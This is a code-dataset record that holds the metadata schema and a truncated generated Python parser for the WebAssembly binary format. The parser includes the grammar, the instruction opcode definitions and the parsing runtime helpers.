hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
e1f4a64b670be2fe9bca43722fcf8df3e745cd90
590,669
py
Python
wasmtree/parser.py
jvs/wasmtree
58f8561d4499171bb72f4ace2b923ae7939f4e30
[ "MIT" ]
null
null
null
wasmtree/parser.py
jvs/wasmtree
58f8561d4499171bb72f4ace2b923ae7939f4e30
[ "MIT" ]
null
null
null
wasmtree/parser.py
jvs/wasmtree
58f8561d4499171bb72f4ace2b923ae7939f4e30
[ "MIT" ]
null
null
null
# Generated by ../generate_parser.py """ # Grammar definition: ``` import struct ``` class Module { let magic: b'\\x00\\x61\\x73\\x6D' let version: b'\\x01\\x00\\x00\\x00' custom1: CustomSection* type_section: TypeSection? custom2: CustomSection* import_section: ImportSection? custom3: CustomSection* function_section: FunctionSection? custom4: CustomSection* table_section: TableSection? custom5: CustomSection* memory_section: MemorySection? custom6: CustomSection* global_section: GlobalSection? custom7: CustomSection* export_section: ExportSection? custom8: CustomSection* start_section: StartSection? custom9: CustomSection* element_section: ElementSection? custom10: CustomSection* data_count_section: DataCountSection? custom11: CustomSection* code_section: CodeSection? custom12: CustomSection* data_section: DataSection? custom13: CustomSection* } # Sections. class CustomSection { let id: 0x00 let size: u32 let loc: LocatedName let remaining = `size - (loc.end - loc.start)` name: `loc.name` body: ByteString(remaining) } class TypeSection { let id: 0x01 let size: u32 function_types: vec(FunctionType) } class ImportSection { let id: 0x02 let size: u32 imports: vec(Import) } class FunctionSection { let id: 0x03 let size: u32 type_indexes: vec(TypeIndex) } class TableSection { let id: 0x04 let size: u32 table_types: vec(TableType) } class MemorySection { let id: 0x05 let size: u32 memory_types: vec(MemoryType) } class GlobalSection { let id: 0x06 let size: u32 globals: vec(Global) } class ExportSection { let id: 0x07 let size: u32 exports: vec(Export) } class StartSection { let id: 0x08 let size: u32 index: FunctionIndex } class ElementSection { let id: 0x09 let size: u32 segments: vec(ElementSegment) } class DataCountSection { let id: 0x0C let size: u32 count: Opt(u32 where `lambda _: size > 0`) } class CodeSection { let id: 0x0A let size: u32 entries: vec(CodeEntry) } class DataSection { let id: 0x0B let size: u32 segments: vec(DefaultDataSegment | PassiveDataSegment | ActiveDataSegment) } # Globals. class Global { type: GlobalType initializer: Expression } # Imports. class Import { module: Name name: Name descriptor: ImportFunc | ImportTable | ImportMemory | ImportGlobal } class ImportFunc { let id: 0x00; type: TypeIndex } class ImportTable { let id: 0x01; type: TableType } class ImportMemory { let id: 0x02; type: MemoryType } class ImportGlobal { let id: 0x03; type: GlobalType } # Exports. class Export { name: Name descriptor: ExportFunc | ExportTable | ExportMemory | ExportGlobal } class ExportFunc { let id: 0x00; index: FunctionIndex } class ExportTable { let id: 0x01; index: TableIndex } class ExportMemory { let id: 0x02; index: MemoryIndex } class ExportGlobal { let id: 0x03; index: GlobalIndex } # Element segments. ElementSegment = ( DefaultSegment | PassiveFuncRefSegment | ActiveFuncRefSegment | DeclarativeFuncRefSegment | DefaultExpressionSegment | PassiveExpressionSegment | ActiveExpressionSegment | DeclarativeExpressionSegment ) class DefaultSegment { let id: 0x00 offset: Expression function_indexes: vec(FunctionIndex) } class PassiveFuncRefSegment { let id: 0x01 type: 0x00 >> `'funcref'` function_indexes: vec(FunctionIndex) } class ActiveFuncRefSegment { let id: 0x02 table_index: TableIndex offset: Expression type: 0x00 >> `'funcref'` function_indexes: vec(FunctionIndex) } class DeclarativeFuncRefSegment { let id: 0x03 type: 0x00 >> `'funcref'` function_indexes: vec(FunctionIndex) } class DefaultExpressionSegment { let id: 0x04 offset: Expression initializers: vec(Expression) } class PassiveExpressionSegment { let id: 0x05 type: ReferenceType initializers: vec(Expression) } class ActiveExpressionSegment { let id: 0x06 table_index: TableIndex offset: Expression type: ReferenceType initializers: vec(Expression) } class DeclarativeExpressionSegment { let id: 0x07 type: ReferenceType initializers: vec(Expression) } # Data segments. class DefaultDataSegment { let id: 0x00 offset: Expression contents: ByteVector } class PassiveDataSegment { let id: 0x01 contents: ByteVector } class ActiveDataSegment { let id: 0x02 index: MemoryIndex offset: Expression contents: ByteVector } # Limits. Limits = MinLimit | MinMaxLimits class MinLimit { let id: 0x00 min: u32 } class MinMaxLimits { let id: 0x01 min: u32 max: u32 } # Types. DataIndex = u32 FunctionIndex = u32 ElementIndex = u32 GlobalIndex = u32 LabelIndex = u32 LocalIndex = u32 MemoryIndex = u32 TableIndex = u32 TypeIndex = u32 BlockType = 0x40 >> `'empty'` | ValueType | SignedInt class FunctionType { let id: 0x60 parameter_types: vec(ValueType) result_types: vec(ValueType) } class GlobalType { type: ValueType modifier: 0x00 >> `'const'` | 0x01 >> `'var'` } class MemoryType { limits: Limits } NumberType = ( 0x7F >> `'i32'` | 0x7E >> `'i64'` | 0x7D >> `'f32'` | 0x7C >> `'f64'` ) class TableType { type: ReferenceType limits: Limits } ReferenceType = 0x70 >> `'funcref'` | 0x6F >> `'externref'` ValueType = NumberType | ReferenceType # Vectors. vec(element) => let length = u32 in element{length} # Uninterpreted bytes. ByteString(size) => bytechar{size} |> `lambda x: b''.join(x)` ByteVector => vec(bytechar) |> `lambda x: b''.join(x)` bytechar = b/[\\x00-\\xFF]/ # Names. Name = vec(bytechar) |> `lambda x: b''.join(x).decode('utf8')` class LocatedName { start: `_pos` name: Name end: `_pos` } # Numbers. byte = b/[\\x00-\\xFF]/ |> `ord` u32 = UnsignedInt i32 = SignedInt i64 = SignedInt f32 = b/[\\x00-\\xFF]{4}/ |> `lambda x: struct.unpack('<f', x)[0]` f64 = b/[\\x00-\\xFF]{8}/ |> `lambda x: struct.unpack('<d', x)[0]` SignedInt = LEB128 |> `decode_signed_int` UnsignedInt = LEB128 |> `decode_unsigned_int` LEB128 = b/[\\x80-\\xFF]*[\\x00-\\x7F]/ ``` continue_flag = 1 << 7 def decode_signed_int(bytes): mask = 0xFF >> 1 result = 0 shift = 0 for b in bytes: result |= (b & mask) << shift shift += 7 sign = 1 << 6 if b & sign: result |= (~0 << shift) return result def decode_unsigned_int(bytes): mask = 0xFF >> 1 result = 0 shift = 0 for b in bytes: result |= (b & mask) << shift shift += 7 return result ``` # Code. class CodeEntry { let size: u32 locals: vec(Locals) expression: Expression } class Locals { count: u32 type: ValueType } # Instructions. Expression => Instruction* << 0x0B Instruction = ( unreachable | nop | Block | Loop | If | br | br_if | br_table | ret | call | call_indirect | ref_null | ref_is_null | ref_func | drop | select | select_t | local_get | local_set | local_tee | global_get | global_set | table_get | table_set | i32_load | i64_load | f32_load | f64_load | i32_load8_s | i32_load8_u | i32_load16_s | i32_load16_u | i64_load8_s | i64_load8_u | i64_load16_s | i64_load16_u | i64_load32_s | i64_load32_u | i32_store | i64_store | f32_store | f64_store | i32_store8 | i32_store16 | i64_store8 | i64_store16 | i64_store32 | memory_size | memory_grow | i32_const | i64_const | f32_const | f64_const | i32_eqz | i32_eq | i32_ne | i32_lt_s | i32_lt_u | i32_gt_s | i32_gt_u | i32_le_s | i32_le_u | i32_ge_s | i32_ge_u | i64_eqz | i64_eq | i64_ne | i64_lt_s | i64_lt_u | i64_gt_s | i64_gt_u | i64_le_s | i64_le_u | i64_ge_s | i64_ge_u | f32_eq | f32_ne | f32_lt | f32_gt | f32_le | f32_ge | f64_eq | f64_ne | f64_lt | f64_gt | f64_le | f64_ge | i32_clz | i32_ctz | i32_popcnt | i32_add | i32_sub | i32_mul | i32_div_s | i32_div_u | i32_rem_s | i32_rem_u | i32_and | i32_or | i32_xor | i32_shl | i32_shr_s | i32_shr_u | i32_rotl | i32_rotr | i64_clz | i64_ctz | i64_popcnt | i64_add | i64_sub | i64_mul | i64_div_s | i64_div_u | i64_rem_s | i64_rem_u | i64_and | i64_or | i64_xor | i64_shl | i64_shr_s | i64_shr_u | i64_rotl | i64_rotr | f32_abs | f32_neg | f32_ceil | f32_floor | f32_trunc | f32_nearest | f32_sqrt | f32_add | f32_sub | f32_mul | f32_div | f32_min | f32_max | f32_copysign | f64_abs | f64_neg | f64_ceil | f64_floor | f64_trunc | f64_nearest | f64_sqrt | f64_add | f64_sub | f64_mul | f64_div | f64_min | f64_max | f64_copysign | i32_wrap_i64 | i32_trunc_f32_s | i32_trunc_f32_u | i32_trunc_f64_s | i32_trunc_f64_u | i64_extend_i32_s | i64_extend_i32_u | i64_trunc_f32_s | i64_trunc_f32_u | i64_trunc_f64_s | i64_trunc_f64_u | f32_convert_i32_s | f32_convert_i32_u | f32_convert_i64_s | f32_convert_i64_u | f32_demote_f64 | f64_convert_i32_s | f64_convert_i32_u | f64_convert_i64_s | f64_convert_i64_u | f64_promote_f32 | i32_reinterpret_f32 | i64_reinterpret_f64 | f32_reinterpret_i32 | f64_reinterpret_i64 | i32_extend8_s | i32_extend16_s | i64_extend8_s | i64_extend16_s | i64_extend32_s | i32_trunc_sat_f32_s | i32_trunc_sat_f32_u | i32_trunc_sat_f64_s | i32_trunc_sat_f64_u | i64_trunc_sat_f32_s | i64_trunc_sat_f32_u | i64_trunc_sat_f64_s | i64_trunc_sat_f64_u | memory_init | data_drop | memory_copy | memory_fill | table_init | elem_drop | table_copy | table_grow | table_size | table_fill ) class unreachable { let id: 0x00 } class nop { let id: 0x01 } class Block { let id: 0x02 type: BlockType body: Expression } class Loop { let id: 0x03 type: BlockType body: Expression } class If { let id: 0x04 type: BlockType true_case: Instruction* << Expect(0x05 | 0x0B) else_case: Opt(0x05 >> Instruction*) << 0x0B } class br { let id: 0x0C label: LabelIndex } class br_if { let id: 0x0D label: LabelIndex } class br_table { let id: 0x0E labels: vec(LabelIndex) default: LabelIndex } class ret { let id: 0x0F } class call { let id: 0x10 function: FunctionIndex } class call_indirect { let id: 0x11 type_index: TypeIndex table_index: TableIndex } class ref_null { let id: 0xD0; type: ReferenceType } class ref_is_null { let id: 0xD1 } class ref_func { let id: 0xD2; function: FunctionIndex } class drop { let id: 0x1A } class select { let id: 0x1B } class select_t { let id: 0x1C; types: vec(ValueType) } class local_get { let id: 0x20; index: LocalIndex } class local_set { let id: 0x21; index: LocalIndex } class local_tee { let id: 0x22; index: LocalIndex } class global_get { let id: 0x23; index: GlobalIndex } class global_set { let id: 0x24; index: GlobalIndex } class table_get { let id: 0x25; index: TableIndex } class table_set { let id: 0x26; index: TableIndex } class i32_load { let id: 0x28; align: u32; offset: u32 } class i64_load { let id: 0x29; align: u32; offset: u32 } class f32_load { let id: 0x2A; align: u32; offset: u32 } class f64_load { let id: 0x2B; align: u32; offset: u32 } class i32_load8_s { let id: 0x2C; align: u32; offset: u32 } class i32_load8_u { let id: 0x2D; align: u32; offset: u32 } class i32_load16_s { let id: 0x2E; align: u32; offset: u32 } class i32_load16_u { let id: 0x2F; align: u32; offset: u32 } class i64_load8_s { let id: 0x30; align: u32; offset: u32 } class i64_load8_u { let id: 0x31; align: u32; offset: u32 } class i64_load16_s { let id: 0x32; align: u32; offset: u32 } class i64_load16_u { let id: 0x33; align: u32; offset: u32 } class i64_load32_s { let id: 0x34; align: u32; offset: u32 } class i64_load32_u { let id: 0x35; align: u32; offset: u32 } class i32_store { let id: 0x36; align: u32; offset: u32 } class i64_store { let id: 0x37; align: u32; offset: u32 } class f32_store { let id: 0x38; align: u32; offset: u32 } class f64_store { let id: 0x39; align: u32; offset: u32 } class i32_store8 { let id: 0x3A; align: u32; offset: u32 } class i32_store16 { let id: 0x3B; align: u32; offset: u32 } class i64_store8 { let id: 0x3C; align: u32; offset: u32 } class i64_store16 { let id: 0x3D; align: u32; offset: u32 } class i64_store32 { let id: 0x3E; align: u32; offset: u32 } class memory_size { let id: 0x3F; let zero: 0x00 } class memory_grow { let id: 0x40; let zero: 0x00 } class i32_const { let id: 0x41; number: i32 } class i64_const { let id: 0x42; number: i64 } class f32_const { let id: 0x43; number: f32 } class f64_const { let id: 0x44; number: f64 } class i32_eqz { let id: 0x45 } class i32_eq { let id: 0x46 } class i32_ne { let id: 0x47 } class i32_lt_s { let id: 0x48 } class i32_lt_u { let id: 0x49 } class i32_gt_s { let id: 0x4A } class i32_gt_u { let id: 0x4B } class i32_le_s { let id: 0x4C } class i32_le_u { let id: 0x4D } class i32_ge_s { let id: 0x4E } class i32_ge_u { let id: 0x4F } class i64_eqz { let id: 0x50 } class i64_eq { let id: 0x51 } class i64_ne { let id: 0x52 } class i64_lt_s { let id: 0x53 } class i64_lt_u { let id: 0x54 } class i64_gt_s { let id: 0x55 } class i64_gt_u { let id: 0x56 } class i64_le_s { let id: 0x57 } class i64_le_u { let id: 0x58 } class i64_ge_s { let id: 0x59 } class i64_ge_u { let id: 0x5A } class f32_eq { let id: 0x5B } class f32_ne { let id: 0x5C } class f32_lt { let id: 0x5D } class f32_gt { let id: 0x5E } class f32_le { let id: 0x5F } class f32_ge { let id: 0x60 } class f64_eq { let id: 0x61 } class f64_ne { let id: 0x62 } class f64_lt { let id: 0x63 } class f64_gt { let id: 0x64 } class f64_le { let id: 0x65 } class f64_ge { let id: 0x66 } class i32_clz { let id: 0x67 } class i32_ctz { let id: 0x68 } class i32_popcnt { let id: 0x69 } class i32_add { let id: 0x6A } class i32_sub { let id: 0x6B } class i32_mul { let id: 0x6C } class i32_div_s { let id: 0x6D } class i32_div_u { let id: 0x6E } class i32_rem_s { let id: 0x6F } class i32_rem_u { let id: 0x70 } class i32_and { let id: 0x71 } class i32_or { let id: 0x72 } class i32_xor { let id: 0x73 } class i32_shl { let id: 0x74 } class i32_shr_s { let id: 0x75 } class i32_shr_u { let id: 0x76 } class i32_rotl { let id: 0x77 } class i32_rotr { let id: 0x78 } class i64_clz { let id: 0x79 } class i64_ctz { let id: 0x7A } class i64_popcnt { let id: 0x7B } class i64_add { let id: 0x7C } class i64_sub { let id: 0x7D } class i64_mul { let id: 0x7E } class i64_div_s { let id: 0x7F } class i64_div_u { let id: 0x80 } class i64_rem_s { let id: 0x81 } class i64_rem_u { let id: 0x82 } class i64_and { let id: 0x83 } class i64_or { let id: 0x84 } class i64_xor { let id: 0x85 } class i64_shl { let id: 0x86 } class i64_shr_s { let id: 0x87 } class i64_shr_u { let id: 0x88 } class i64_rotl { let id: 0x89 } class i64_rotr { let id: 0x8A } class f32_abs { let id: 0x8B } class f32_neg { let id: 0x8C } class f32_ceil { let id: 0x8D } class f32_floor { let id: 0x8E } class f32_trunc { let id: 0x8F } class f32_nearest { let id: 0x90 } class f32_sqrt { let id: 0x91 } class f32_add { let id: 0x92 } class f32_sub { let id: 0x93 } class f32_mul { let id: 0x94 } class f32_div { let id: 0x95 } class f32_min { let id: 0x96 } class f32_max { let id: 0x97 } class f32_copysign { let id: 0x98 } class f64_abs { let id: 0x99 } class f64_neg { let id: 0x9A } class f64_ceil { let id: 0x9B } class f64_floor { let id: 0x9C } class f64_trunc { let id: 0x9D } class f64_nearest { let id: 0x9E } class f64_sqrt { let id: 0x9F } class f64_add { let id: 0xA0 } class f64_sub { let id: 0xA1 } class f64_mul { let id: 0xA2 } class f64_div { let id: 0xA3 } class f64_min { let id: 0xA4 } class f64_max { let id: 0xA5 } class f64_copysign { let id: 0xA6 } class i32_wrap_i64 { let id: 0xA7 } class i32_trunc_f32_s { let id: 0xA8 } class i32_trunc_f32_u { let id: 0xA9 } class i32_trunc_f64_s { let id: 0xAA } class i32_trunc_f64_u { let id: 0xAB } class i64_extend_i32_s { let id: 0xAC } class i64_extend_i32_u { let id: 0xAD } class i64_trunc_f32_s { let id: 0xAE } class i64_trunc_f32_u { let id: 0xAF } class i64_trunc_f64_s { let id: 0xB0 } class i64_trunc_f64_u { let id: 0xB1 } class f32_convert_i32_s { let id: 0xB2 } class f32_convert_i32_u { let id: 0xB3 } class f32_convert_i64_s { let id: 0xB4 } class f32_convert_i64_u { let id: 0xB5 } class f32_demote_f64 { let id: 0xB6 } class f64_convert_i32_s { let id: 0xB7 } class f64_convert_i32_u { let id: 0xB8 } class f64_convert_i64_s { let id: 0xB9 } class f64_convert_i64_u { let id: 0xBA } class f64_promote_f32 { let id: 0xBB } class i32_reinterpret_f32 { let id: 0xBC } class i64_reinterpret_f64 { let id: 0xBD } class f32_reinterpret_i32 { let id: 0xBE } class f64_reinterpret_i64 { let id: 0xBF } class i32_extend8_s { let id: 0xC0 } class i32_extend16_s { let id: 0xC1 } class i64_extend8_s { let id: 0xC2 } class i64_extend16_s { let id: 0xC3 } class i64_extend32_s { let id: 0xC4 } class i32_trunc_sat_f32_s { let id: 0xFC; let code: 0x00 } class i32_trunc_sat_f32_u { let id: 0xFC; let code: 0x01 } class i32_trunc_sat_f64_s { let id: 0xFC; let code: 0x02 } class i32_trunc_sat_f64_u { let id: 0xFC; let code: 0x03 } class i64_trunc_sat_f32_s { let id: 0xFC; let code: 0x04 } class i64_trunc_sat_f32_u { let id: 0xFC; let code: 0x05 } class i64_trunc_sat_f64_s { let id: 0xFC; let code: 0x06 } class i64_trunc_sat_f64_u { let id: 0xFC; let code: 0x07 } class memory_init { let id: 0xFC let code: 0x08 data_index: DataIndex let zero: 0x00 } class data_drop { let id: 0xFC let code: 0x09 data_index: DataIndex } class memory_copy { let id: 0xFC let code: 0x0A let zeros: b'\\x00\\x00' } class memory_fill { let id: 0xFC let code: 0x0B let zero: 0x00 } class table_init { let id: 0xFC let code: 0x0C element: ElementIndex table: TableIndex } class elem_drop { let id: 0xFC let code: 0x0D element: ElementIndex } class table_copy { let id: 0xFC let code: 0x0E destination: TableIndex source: TableIndex } class table_grow { let id: 0xFC; let code: 0x0F; table: TableIndex } class table_size { let id: 0xFC; let code: 0x10; table: TableIndex } class table_fill { let id: 0xFC; let code: 0x11; table: TableIndex } """ from collections import namedtuple as _nt from re import compile as _compile_re, IGNORECASE as _IGNORECASE class Node: _fields = () def __init__(self): self._metadata = _Metadata() def __eq__(self, other): if not isinstance(other, self.__class__): return False for field in self._fields: if getattr(self, field) != getattr(other, field): return False return True def _asdict(self): return {k: getattr(self, k) for k in self._fields} def _replace(self, **kw): for field in self._fields: if field not in kw: kw[field] = getattr(self, field) result = self.__class__(**kw) result._metadata.update(self._metadata) return result class _Metadata: def __init__(self, **fields): object.__setattr__(self, '_fields', fields) def __getattr__(self, name): return self._fields.get(name) def __setattr__(self, name, value): self._fields[name] = value def __len__(self): return len(self._fields) def copy(self): return _Metadata(**self._fields) def update(self, other): self._fields.update(other._fields) class Rule: def __init__(self, name, parse, definition): self.name = name self.parse = parse self.definition = definition def __repr__(self): return (f'Rule(name={self.name!r}, parse={self.parse.__name__},' f' definition={self.definition!r})') import struct continue_flag = 1 << 7 def decode_signed_int(bytes): mask = 0xFF >> 1 result = 0 shift = 0 for b in bytes: result |= (b & mask) << shift shift += 7 sign = 1 << 6 if b & sign: result |= (~0 << shift) return result def decode_unsigned_int(bytes): mask = 0xFF >> 1 result = 0 shift = 0 for b in bytes: result |= (b & mask) << shift shift += 7 return result class SourcerError(Exception): """Common superclass for ParseError and PartialParseError.""" class ParseError(SourcerError): def __init__(self, message, index, line, column): super().__init__(message) self.position = _Position(index, line, column) class PartialParseError(SourcerError): def __init__(self, partial_result, last_position, excerpt): super().__init__('Incomplete parse. Unexpected input on line' f' {last_position.line}, column {last_position.column}:\n{excerpt}') self.partial_result = partial_result self.last_position = last_position class Infix(Node): _fields = ('left', 'operator', 'right') def __init__(self, left, operator, right): Node.__init__(self) self.left = left self.operator = operator self.right = right def __repr__(self): return f'Infix({self.left!r}, {self.operator!r}, {self.right!r})' class Postfix(Node): _fields = ('left', 'operator') def __init__(self, left, operator): Node.__init__(self) self.left = left self.operator = operator def __repr__(self): return f'Postfix({self.left!r}, {self.operator!r})' class Prefix(Node): _fields = ('operator', 'right') def __init__(self, operator, right): Node.__init__(self) self.operator = operator self.right = right def __repr__(self): return f'Prefix({self.operator!r}, {self.right!r})' def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Module, fullparse) _PositionInfo = _nt('_PositionInfo', 'start, end') _Position = _nt('_Position', 'index, line, column') class _ParseFunction(_nt('_ParseFunction', 'func, args, kwargs')): def __call__(self, _text, _pos): return self.func(_text, _pos, *self.args, **dict(self.kwargs)) class _StringLiteral(str): def __call__(self, _text, _pos): return self._parse_function(_text, _pos) def _wrap_string_literal(string_value, parse_function): result = _StringLiteral(string_value) result._parse_function = parse_function return result class _ByteLiteral(int): def __call__(self, _text, _pos): return self._parse_function(_text, _pos) def _wrap_byte_literal(byte_value, parse_function): result = _ByteLiteral(byte_value) result._parse_function = parse_function return result def _run(text, pos, start, fullparse): memo = {} result = None key = (3, start, pos) gtor = start(text, pos) stack = [(key, gtor)] while stack: key, gtor = stack[-1] result = gtor.send(result) if result[0] != 3: stack.pop() memo[key] = result elif result in memo: result = memo[result] else: gtor = result[1](text, result[2]) stack.append((result, gtor)) result = None if result[0]: return _finalize_parse_info(text, result[1], result[2], fullparse) else: pos = result[2] message = result[1](text, pos) raise ParseError(message, pos) def visit(node): visited = set() stack = [node] while stack: node = stack.pop() if isinstance(node, (list, tuple)): stack.extend(node) elif isinstance(node, dict): stack.extend(node.values()) elif isinstance(node, Node): node_id = id(node) if node_id in visited: continue visited.add(node_id) yield node if hasattr(node, '_fields'): stack.extend(getattr(node, x) for x in node._fields) _Traversing = _nt('_Traversing', 'parent, field, child, is_finished') def traverse(node): visited = set() stack = [_Traversing(parent=None, field=None, child=node, is_finished=False)] while stack: traversing = stack.pop() if traversing.is_finished: yield traversing continue child = traversing.child child_id = id(child) if child_id in visited: continue visited.add(child_id) stack.append(traversing._replace(is_finished=True)) yield traversing def extend(items): stack.extend(reversed(list(items))) if isinstance(child, (list, tuple)): extend( _Traversing(parent=child, field=i, child=x, is_finished=False) for i, x in enumerate(child) ) elif isinstance(child, dict): extend( _Traversing(parent=child, field=k, child=v, is_finished=False) for k, v in child.items() ) elif isinstance(child, Node) and hasattr(child, '_fields'): extend( _Traversing( parent=child, field=x, child=getattr(child, x), is_finished=False, ) for x in child._fields ) def transform(node, *callbacks): if not callbacks: return node if len(callbacks) == 1: callback = callbacks[0] else: def callback(node): for f in callbacks: node = f(node) return node return _transform(node, callback) def _transform(node, callback): if isinstance(node, list): return [_transform(x, callback) for x in node] if not isinstance(node, Node): return node updates = {} for field in node._fields: was = getattr(node, field) now = _transform(was, callback) if now is not was: updates[field] = now if isinstance(was, Node) and isinstance(now, Node) and not now._metadata: now._metadata.update(was._metadata) if updates: node = node._replace(**updates) return callback(node) def _finalize_parse_info(text, nodes, pos, fullparse): line_numbers, column_numbers = _map_index_to_line_and_column(text) for node in visit(nodes): pos_info = node._metadata.position_info if pos_info: start, end = pos_info end -= 1 node._metadata.position_info = _PositionInfo( start=_Position(start, line_numbers[start], column_numbers[start]), end=_Position(end, line_numbers[end], column_numbers[end]), ) if fullparse and pos < len(text): line, col = line_numbers[pos], column_numbers[pos] position = _Position(pos, line, col) excerpt = _extract_excerpt(text, pos, col) raise PartialParseError(nodes, position, excerpt) return nodes def _extract_excerpt(text, pos, col): if isinstance(text, bytes): return repr(text[max(0, pos - 1) : pos + 2]) start = pos - (col - 1) match = _compile_re('\n').search(text, pos + 1) end = len(text) if match is None else match.start() if end - start < 96: return text[start : end] + _caret_at(col - 1) if col < 60: # Chop the line off at the end. return text[start : start + 90] + ' ...' + _caret_at(col - 1) elif end - pos < 40: # Chop the line off at the start. return '... ' + text[end - 90 : end] + _caret_at(pos - (end - 90) + 4) else: # Chop the line off at both ends. return '... ' + text[pos - 42 : pos + 42] + ' ...' + _caret_at(42 + 4) def _caret_at(index): return '\n' + (' ' * index) + '^' def _get_line_and_column(text, pos): line_numbers, column_numbers = _map_index_to_line_and_column(text) return line_numbers[pos], column_numbers[pos] def _map_index_to_line_and_column(text): line_numbers = [] column_numbers = [] current_line = 1 current_column = 0 for c in text: if c == '\n': current_line += 1 current_column = 0 else: current_column += 1 line_numbers.append(current_line) column_numbers.append(current_column) return line_numbers, column_numbers matcher1 = _compile_re(b'[\\x00-\\xFF]', flags=0).match matcher2 = _compile_re(b'[\\x00-\\xFF]{4}', flags=0).match matcher3 = _compile_re(b'[\\x00-\\xFF]{8}', flags=0).match matcher4 = _compile_re(b'[\\x80-\\xFF]*[\\x00-\\x7F]', flags=0).match class Module(Node): """ class Module { let magic: b'\\x00asm' let version: b'\\x01\\x00\\x00\\x00' custom1: CustomSection* type_section: Opt(TypeSection) custom2: CustomSection* import_section: Opt(ImportSection) custom3: CustomSection* function_section: Opt(FunctionSection) custom4: CustomSection* table_section: Opt(TableSection) custom5: CustomSection* memory_section: Opt(MemorySection) custom6: CustomSection* global_section: Opt(GlobalSection) custom7: CustomSection* export_section: Opt(ExportSection) custom8: CustomSection* start_section: Opt(StartSection) custom9: CustomSection* element_section: Opt(ElementSection) custom10: CustomSection* data_count_section: Opt(DataCountSection) custom11: CustomSection* code_section: Opt(CodeSection) custom12: CustomSection* data_section: Opt(DataSection) custom13: CustomSection* } """ _fields = ('custom1', 'type_section', 'custom2', 'import_section', 'custom3', 'function_section', 'custom4', 'table_section', 'custom5', 'memory_section', 'custom6', 'global_section', 'custom7', 'export_section', 'custom8', 'start_section', 'custom9', 'element_section', 'custom10', 'data_count_section', 'custom11', 'code_section', 'custom12', 'data_section', 'custom13') magic = b'\x00asm' version = b'\x01\x00\x00\x00' def __init__(self, custom1, type_section, custom2, import_section, custom3, function_section, custom4, table_section, custom5, memory_section, custom6, global_section, custom7, export_section, custom8, start_section, custom9, element_section, custom10, data_count_section, custom11, code_section, custom12, data_section, custom13): Node.__init__(self) self.custom1 = 